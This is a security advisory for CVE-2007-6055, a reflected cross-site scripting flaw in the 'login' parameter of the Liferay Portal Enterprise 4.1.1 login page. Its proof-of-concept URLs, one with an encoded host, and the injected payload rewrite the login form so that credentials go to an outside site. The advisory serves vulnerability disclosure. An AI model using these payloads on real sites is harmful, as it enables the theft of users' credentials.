XSS on Liferay Portal Enterprise 4.1.1 login page ('login' parameter)


Arrow  SecurityAlert : 3379
Arrow  CVE : CVE-2007-6055
Arrow  SecurityRisk : Low  Security Risk Low  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Adrian Pastor
Arrow  Published : 20.11.2007

Arrow  Affected Software : Liferay Portal Enterprise 4.1.1



Arrow  Advisory Content :  

Date Found: 6th March 2007

Vendor informed: 26th June 2007

Description:

Liferay Portal login page is vulnerable to

Cross-Site Scripting within the "login" field processed by the
"/c/portal/login" server-side script.

Consequences:

An attacker may be able to cause the execution of malicious script code in
the browser of a user who visits a specially-crafted Liferay Portal URL, or
visits a page that submits a request to such URL. Such code would run
within the security context of the target domain.

This type of attack can result in non-persistent defacement of the target
site, or the redirection of confidential information (i.e.: usernames and
passwords) to unauthorised third parties.

Proof of concept (PoC):

The provided XSS PoC URLs overwrite Liferay Portal login form's 'action'
attribute. Thus, when the victim user clicks on the "Sign In" button, the
credentials (username/password) are sent to a third-party site
(procheckup.com in this case).

http://target.tld/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.ac
tion=%22http://procheckup.com%22%3C/script%3E%3Ca%20b=%22c

http://target.tld/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.ac
tion=%22http%3a%2f%2f%70roch%65cku%70%2e%63om%22%3C/script%3E%3Ca%20b=%2
2c

Injected payload:

"><script>document.fm1.action="http://procheckup.com"</script><a b="c

What's (partially) returned by the server:

<input class="form-text" name="login" style="width: 150px;" type="text"
value=""><script>document.fm1.action="http://procheckup.com"</script><a
b="c">

Note: the victim user does not need to be authenticated for this
vulnerability to be exploitable.
